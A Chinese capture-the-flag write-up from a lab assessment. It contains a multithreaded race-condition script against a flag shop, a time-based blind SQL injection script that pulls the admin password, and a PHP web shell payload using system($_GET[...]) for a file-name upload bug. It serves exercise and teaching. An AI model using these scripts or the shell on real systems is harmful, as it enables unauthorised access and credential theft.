第一道题:

 

上来就让我买flag,用御剑扫目录,发现了这道题有源码index.php.bak!直接下载。

<meta charset='UTF-8'>
<title>极光实验室flag售卖中心</title>
<link rel="stylesheet" href="./css/bootstrap.css">
<link rel="stylesheet" href="./css/bootstrap.min.css">
<link rel="stylesheet" href="./css/index.css">
<body>
<div class='starter_form1'>
<h1>极光实验室flag售卖中心</h1>
<?php
ini_set('display_errors', 0);
error_reporting(E_ALL ^ E_DEPRECATED);
$db = new mysqli("127.0.0.1","root","****", shop); $sql = "SELECT rest FROM account"; $rest = intval($db->query($sql)->fetch_assoc()['rest']); $sql = "SELECT own FROM account"; $own = intval($db->query($sql)->fetch_assoc()['own']); echo "
<div class=\"starter_form\" style=\"align-content: center\">
<form action='' method='post'> <h3>您当前的余额:{$rest}元</h1>
<div style=\"margin: 50px\">
</div> 支付<input type='text' name='money'>元购买flag<br>
</br>
<div class='form-group'>
<button class=\"btn btn-primary btn-block\" type=\"submit\" name='submit'>购买</button>
</div>
<div style=\"margin: 100px\">
</div>
已支付{$own}元,可是flag最低要21元...
</br>
<form action='' method='post'>
<button class=\"btn btn-primary btn-block\" type=\"submit\" name='restart' value='1'>重置</button>
</div>
</form>
</div>
</div>
"; if ($_POST['money']){ $money = intval($_POST['money']);
if($money<0)
{
echo "<script>alert('我们极光虽然有钱...但兄弟姐妹你这样我们会破产的...')</script>";
exit();
}
if($money <= $rest) { $sql = "UPDATE account SET rest=rest-".$money; $db->query($sql); $sql = "UPDATE account SET own=own+".$money; $db->query($sql); echo "<script>alert('支付成功');window.location.href=this.location.href</script>"; } else { echo "<script>alert('支付失败,可能是因为您的余额不足。')</script>"; }
$sql="select own from account";
$banner = intval($db->query($sql)->fetch_assoc()['own']);
if($own>=21)
{
echo "等等..竟然!无中生友,你怕不是黑黑黑...\nACTF{************}";
}
}
else if ($_POST['restart']==1){
$sql = "UPDATE account SET rest=20";
$db->query($sql);
$sql = "UPDATE account SET own=0";
$db->query($sql);
}
?> </body> </html>

源码审计,本来以为这是一道sql注入题,但是因为intval()并不想is_number()一样存在sql注入的漏洞,只能含泪放弃。

重新审计源码发现,它并没有考虑到多个人同时操作的情况,于是就有了竞争的想法!

所谓竞争上传就是指 在服务器刚刚做出 $money <= $rest 的判断并且没有执行$sql = "UPDATE account SET rest=rest-".$money;操作时,再次判断$money <= $rest。

使得出现漏洞。

那么我们就需要写一个多线程的脚本。不断地访问。这里直接嫖了大佬的脚本

import requests
import threading
import queue url = "http://47.112.16.34:22255/index.php"
threads = 25
q = queue.Queue() for i in range(50):
q.put(i) def post():
while not q.empty():
q.get()
r = requests.post(url, data={'money': 1})
print(r.text) if __name__ == '__main__':
for i in range(threads):
t = threading.Thread(target=post)
t.start() for i in range(threads):
t.join()

成功拿到flag!

(话说这个flag也太长了吧)

下一道题:

第二道题因为拖得时间有点长导致刚写出脚本,题目就关闭了,现在在大佬的帮助下终于拿到了flag(话说拿到flag不能交真的很烦啊!!!!)

第二道题首先考我们robots协议。

然后扫到了image.php?然后才知道有image.php.bak。。(璞佬nb!)

然后看到源码!

<?php
include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id);
$path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC); ...

还是源码审计,直接过滤了单引号,真的狠好吧!那怎么办?想起了之前的用  / 过滤单引号但是这一次很明显没有那么简单,因为有 addslashes()函数(具体作用不载详述)

突发奇想输入 \0 (看到了\\0)会发生什么,然后居然过滤的只剩下一个 \  符号,原来如此,wakada!

那就可以构造payload了,直接放脚本。(注意因为单引号被过滤了,那么要用16进制编码来代替需要引号的地方!)

# insert into member(`username`,pw,sex,phonenum,email,address) values('wangwu',md5('a'),'a','aa','a','a')
import requests
import time url = "http://47.106.94.13:40005/image.php?"
#params = "id=\\0&path= or if((ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))={}),sleep(5),1)--+"
params = "id=\\0&path= or if((ascii(mid((select password from users where username=0x61646d696e),{},1))={}),sleep(5),1)--+" string = "1234567890abcdefghijklmnopqrstuvwxyz -ABCDEFGHIJKLMNOPQRSTUVWXYZ:_@,\{\}." while True: get = ""
for i in range(1,100):
for j in string:
parm = params.format(str(i),str(ord(j)))
url2 = url + parm
try:
response = requests.get(url2,timeout=3) except:
get+=j
print(get)
time.sleep(1)
break
#print(url2)

中间有点没写上,不过没关系,大概就是这个payload,跑出结果

用 admin 和 password 作为账号和密码登录。

文件上传?经过cyt大佬的wp才知道,这一题居然是把文件名当做漏洞。。。哭了!

构造payload  =  <?= system($_GET[1551]);?>

然后,找啊找啊找啊找(话说藏得真深)找到了

极光实验室 第一次考核wp的更多相关文章

  1. Jquery第一次考核

    1. 什么是JS JavaScript 缩写.一种计算机脚本语言 JavaScript是一种动态.弱类型.基于原型的语言,通过浏览器可以直接执行 2. JS三大组成部件 ECMAScript DOM ...

  2. wp上一款应用的出生与死亡

    起因 因为自己买了个wp手机,所以对于微软的这个wp系统还是非常喜欢,无奈软件质量不高,过年前便买了个wp的开发者帐号,不是很贵,还想着为wp的生态系统做点贡献.无奈工作繁忙,一直没有机会去做.但是自 ...

  3. SAP成都研究院Sunshine: 我的C4C实习感受和保研之路

    今天的文章来自SAP成都一位实习生,曾经和Jerry同在C4C成都开发团队一起工作过.在Sunshine最后一个工作日里,Jerry和Sunshine一起吃饭的时候,她曾经聊到接下来的保研打算和将来工 ...

  4. buu学习记录(上)

    前言:菜鸡误入buu,差点被打吐.不过学到了好多东西. 题目名称: (1)随便注 (2)高明的黑客 (3)CheckIn (4)Hack World (5)SSRF Me (6)piapiapia ( ...

  5. 漫漫征途,java开发(未完待续)

    前言 2018年,大二上,有幸加入服务外包实验室的考核,在考核中,主动加入xxx项目的后端,一是为了积累项目经验,二是为了学到更多东西,进入了之后发现原来要学的这么多,时间这么紧!但唯有学习! 心得体 ...

  6. 关于GC(下):CMS和G1GC的比较

    简称 STW -- Stop the World,暂停所有在执行的线程 简史 2004年Sun实验室第一次发表G1论文 JDK6U14中第一次作为实验选项引入 JDK7中开始作为替换CMS的方案 JD ...

  7. Java作业:第一次过程性考核 ——长春职业技术学院 16级网络工程

    Java作业:第一次过程性考核 ••<结构化程序设计>•• 考核目标:初步了解Java基本语法规则,学习结构化程序设计思想. 码云链接:https://gitee.com/SoridoD/ ...

  8. 极光推送SDK通过泰尔终端实验室检测,符合统一推送接口标准

    1月7日,中国深圳--国内领先的开发者服务提供商极光(Aurora Mobile, NASDAQ:JG)宣布其旗下产品极光推送SDK通过中国信息通信研究院泰尔终端实验室的检测,其性能和接口标准符合统一 ...

  9. 停下来,回头看 ——记2020BUAA软工第一次作业-热身!

    description: 'Mar 1st, 2020 - Mar 3rd, 2020' 项目 内容 这个作业属于哪个课程 2020春季计算机学院软件工程(罗杰 任建) 这个作业的要求在哪里 第一次作 ...

随机推荐

  1. JS基础算法题(二)

    1.1 数组去重的五种方法 数组去重:将数组中重复的元素去掉 JS数组没有删除具体元素的删除(只能删掉值,删不掉元素的索引),可以使用另外一个结构来进行存储 新数组 新对象 JS数组虽然本质可以删除第 ...

  2. java类学习

    public class test4 { public static void main(String args[]) { /** * 方法定义规则 * 修饰 类型 方法名(参数){ * 要完成的动作 ...

  3. VBA_50段代码总结

    ''                                                          30个有用的VBA代码 '目录: '1--合理使用数组:'2--一次保存并关闭所 ...

  4. JavaScript封装一个函数效果类似内置方法concat()

    JavaScript封装一个函数效果类似内置方法concat() 首先回忆concat()的作用: concat() 方法用于连接两个或多个数组.该方法不会改变现有的数组,而仅仅会返回被连接数组的一个 ...

  5. 5. Spark调优

    *以下内容由<Spark快速大数据分析>整理所得. 读书笔记的第五部分是讲的是Spark调优相关的知识点. 一.并行度调优 二.序列化格式优化 三.内存管理优化 四.Spark SQL性能 ...

  6. 用seaborn绘制散点图

    散点图可以显示观察数据的分布,描述数据的相关性,matlibplot也可以绘制散点图,不过我一般优先使用seaborn库的sctterplot()绘制,下面就介绍一下如何用seaborn.scatte ...

  7. 三:redis启动后的基础知识

    Redis启动后的杂项基础知识 1.单进进程 单进程模型来处理客户端的请求.对读写等事件的响应是通过对epoll函数的包装来做到的.Redis的实际处理速度完全依靠主进程的执行效率       Epo ...

  8. JS简单介绍与简单的基本语法

    1.JavaScirpt是一门编程语言,是为前端服务的一门语言. (1)基础语法 (2)数据类型 (3)函数 (4)面向对象 2.还涉及到BOM和DOM (1)BOM(操作浏览器的一些功能) (2)D ...

  9. spring boot和spring cloud的区别

    Java中说到微服务肯定离不开Spring Boot和Spring Cloud,这两者到底有什么关系,什么是微服务,如果单纯的说SpringBoot,SpringCloud,都是不准确的,那应该怎么回 ...

  10. ThreadPoolExecutor源码分析-面试问烂了的Java线程池执行流程,如果要问你具体的执行细节,你还会吗?

    Java版本:8u261. 对于Java中的线程池,面试问的最多的就是线程池中各个参数的含义,又或者是线程池执行的流程,彷佛这已成为了固定的模式与套路.但是假如我是面试官,现在我想问一些更细致的问题, ...